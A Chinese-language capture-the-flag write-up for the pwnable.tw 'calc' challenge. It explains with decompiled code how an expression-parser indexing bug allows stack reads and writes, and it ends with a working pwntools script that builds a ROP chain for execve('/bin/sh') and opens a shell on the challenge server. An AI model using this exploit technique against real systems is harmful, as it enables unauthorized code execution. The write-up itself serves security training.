pwnable.tw calc

还是太菜,看着别人的思路写完了

简单分析

程序开了nxcanary,所以栈溢出不可行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
signed int __cdecl parse_expr(int a1, _DWORD *a2)
{
int v2; // ST2C_4@3
signed int result; // eax@4
int v4; // eax@6
int v5; // ebx@25
int v6; // [sp+20h] [bp-88h]@1
int i; // [sp+24h] [bp-84h]@1
int v8; // [sp+28h] [bp-80h]@1
char *s1; // [sp+30h] [bp-78h]@3
int v10; // [sp+34h] [bp-74h]@5
char s[100]; // [sp+38h] [bp-70h]@1
int v12; // [sp+9Ch] [bp-Ch]@1
v12 = *MK_FP(__GS__, 20);
v6 = a1;
v8 = 0;
bzero(s, 0x64u);
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(_BYTE *)(i + a1) - 48) > 9 )
{
v2 = i + a1 - v6;
s1 = (char *)malloc(v2 + 1);
memcpy(s1, v6, v2);
s1[v2] = 0;
if ( !strcmp(s1, "0") )
{
puts("prevent division by zero");
fflush(stdout);
result = 0;
goto LABEL_25;
}
v10 = atoi(s1);
if ( v10 > 0 )
{
v4 = (*a2)++;
a2[v4 + 1] = v10;
}
if ( *(_BYTE *)(i + a1) && (unsigned int)(*(_BYTE *)(i + 1 + a1) - 48) > 9 )
{
puts("expression error!");
fflush(stdout);
result = 0;
goto LABEL_25;
}
v6 = i + 1 + a1;
if ( s[v8] )
{
switch ( *(_BYTE *)(i + a1) )
{
case 43:
case 45:
eval(a2, s[v8]);
s[v8] = *(_BYTE *)(i + a1);
break;
case 37:
case 42:
case 47:
if ( s[v8] != 43 && s[v8] != 45 )
{
eval(a2, s[v8]);
s[v8] = *(_BYTE *)(i + a1);
}
else
{
s[++v8] = *(_BYTE *)(i + a1);
}
break;
default:
eval(a2, s[v8--]);
break;
}
}
else
{
s[v8] = *(_BYTE *)(i + a1);
}
if ( !*(_BYTE *)(i + a1) )
break;
}
}
while ( v8 >= 0 )
eval(a2, s[v8--]);
result = 1;
LABEL_25:
v5 = *MK_FP(__GS__, 20) ^ v12;
return result;
}

可以看到最后a2s[v8--]被传入了函数eval进行计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
_DWORD *__cdecl eval(_DWORD *a1, char a2)
{
_DWORD *result; // eax@12
if ( a2 == 43 )
{
a1[*a1 - 1] += a1[*a1];
}
else if ( a2 > 43 )
{
if ( a2 == 45 )
{
a1[*a1 - 1] -= a1[*a1];
}
else if ( a2 == 47 )
{
a1[*a1 - 1] /= a1[*a1];
}
}
else if ( a2 == 42 )
{
a1[*a1 - 1] *= a1[*a1];
}
result = a1;
--*a1;
return result;
}

运算的形式是a1[*a1 - 1] op = a1[*a1];,其中*a1代表a1的第一个数,理想情况下为2,但是如果输入类似于+300的就会发现a1[0] op = a1[1],可以发现a1[0]改变了,而在calc中输出的数据是根据a1[0]来索引的,所以可以通过控制a1[0]来泄露信息。

1
2
3
4
5
6
.text:080493F6 mov eax, [ebp+var_5A0]
.text:080493FC sub eax, 1
.text:080493FF mov eax, [ebp+eax*4+var_59C]
.text:08049406 mov [esp+4], eax
.text:0804940A mov dword ptr [esp], offset unk_80BF804
.text:08049411 call printf

[ebp+var_5A0]存储着参与运算的数据的个数,输出的内容[ebp+eax*4+var_59C]通过eax索引的

现在已经能泄露一些信息了,如何更改一些数据呢,还是上面那个稍微改一下+300+333可以将特定内存存储的数据进行加减(因为s每次都会被清空,所以改的时候需要改s之外的),然后通过rop构造系统调用,不用考虑canary

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
from pwn import *
#context(log_level='debug')
#io = process('./calc')
io = remote("chall.pwnable.tw",10100)
io.recvuntil("\n")
io.sendline("+360")
main_ebp = int(io.recv())
main_stack_size = main_ebp +0x100000000- ((main_ebp + 0x100000000)&0xFFFFFFF0-16)
binsh_addr = main_ebp - (main_stack_size/4+1)*4 +8*4# + 0x100000000
execve_rop = [0x0805c34b,11,0x080701d1,0,0x0,0x080701aa,0,0x8049a21,u32('/bin'),u32('/sh\x00')]
execve_rop[4] = binsh_addr
for i in range(10):
io.sendline('+'+str(361+i))
recv = int(io.recvline())
diff = execve_rop[i] - recv
if diff < 0:
io.sendline('+'+str(361+i)+str(diff))
else:
io.sendline('+'+str(361+i)+'+'+str(diff))
if i==4:
resl = int(io.recv()) + 0x100000000
else:
resl = int(io.recv())
print (str(361+i)+': '+'%s'%hex(resl))
io.sendline("Success")
io.interactive("Shell# ")

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 简单分析
  2. 2. 脚本
,